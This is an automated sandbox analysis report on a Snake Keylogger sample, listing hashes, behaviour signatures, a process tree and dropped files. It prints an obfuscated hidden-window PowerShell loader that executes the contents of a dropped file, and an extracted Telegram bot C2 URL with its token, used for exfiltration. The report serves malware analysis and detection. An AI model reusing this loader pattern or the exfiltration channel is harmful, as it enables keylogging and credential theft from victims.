Analysis

  • max time kernel
    93s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2024, 11:44

General

  • Target
    2.exe
  • Size 682KB
  • Sample241115-nwdfqasphy
  • SHA256 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • snakekeylogger

C2
  • https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Snakekeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3704
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:4920
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 1528
          4⤵
          • Program crash
          PID:4940
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4920 -ip 4920
    1⤵
      PID:608

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Chromonemal.Opg

          • Path C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg
          • Size 53KB
          • SHA256 73a4a59e35863571281154449961ab2a81ff47c3baa341d7de100287a0043274
          • MD5 SHA1 SHA512 SSDEEP

          Stikprvestandardafvigelsens.Lgn

          • Path C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Stikprvestandardafvigelsens.Lgn
          • Size 330KB
          • SHA256 222afe763d83a4f8e09f820bf1dc20b8aef212ec7503e07d60941f4661f4fc9b
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_o1iu3b1i.1g0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1iu3b1i.1g0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/2796-43-0x0000000007740000-0x000000000775E000-memory.dmp

          memory/2796-45-0x0000000007770000-0x0000000007813000-memory.dmp

          memory/2796-12-0x0000000005C80000-0x0000000005CE6000-memory.dmp

          memory/2796-11-0x0000000005C10000-0x0000000005C76000-memory.dmp

          memory/2796-8-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-22-0x0000000005CF0000-0x0000000006044000-memory.dmp

          memory/2796-23-0x00000000062C0000-0x00000000062DE000-memory.dmp

          memory/2796-24-0x0000000006300000-0x000000000634C000-memory.dmp

          memory/2796-25-0x0000000007280000-0x0000000007316000-memory.dmp

          memory/2796-46-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-27-0x0000000006820000-0x0000000006842000-memory.dmp

          memory/2796-28-0x0000000007920000-0x0000000007EC4000-memory.dmp

          memory/2796-9-0x00000000053B0000-0x00000000059D8000-memory.dmp

          memory/2796-30-0x0000000008550000-0x0000000008BCA000-memory.dmp

          memory/2796-33-0x0000000070440000-0x0000000070794000-memory.dmp

          memory/2796-32-0x000000006FE90000-0x000000006FEDC000-memory.dmp

          memory/2796-31-0x0000000007700000-0x0000000007732000-memory.dmp

          memory/2796-6-0x0000000073A0E000-0x0000000073A0F000-memory.dmp

          memory/2796-10-0x0000000005310000-0x0000000005332000-memory.dmp

          memory/2796-44-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-26-0x00000000067B0000-0x00000000067CA000-memory.dmp

          memory/2796-47-0x0000000007870000-0x000000000787A000-memory.dmp

          memory/2796-48-0x00000000078B0000-0x00000000078DA000-memory.dmp

          memory/2796-50-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-49-0x00000000078E0000-0x0000000007904000-memory.dmp

          memory/2796-51-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-53-0x0000000073A0E000-0x0000000073A0F000-memory.dmp

          memory/2796-54-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-55-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-7-0x0000000004D40000-0x0000000004D76000-memory.dmp

          memory/2796-57-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-58-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-59-0x0000000008BD0000-0x000000000D6DE000-memory.dmp

          memory/2796-60-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-61-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-62-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/2796-64-0x0000000073A00000-0x00000000741B0000-memory.dmp

          memory/4920-65-0x0000000000C00000-0x0000000001E54000-memory.dmp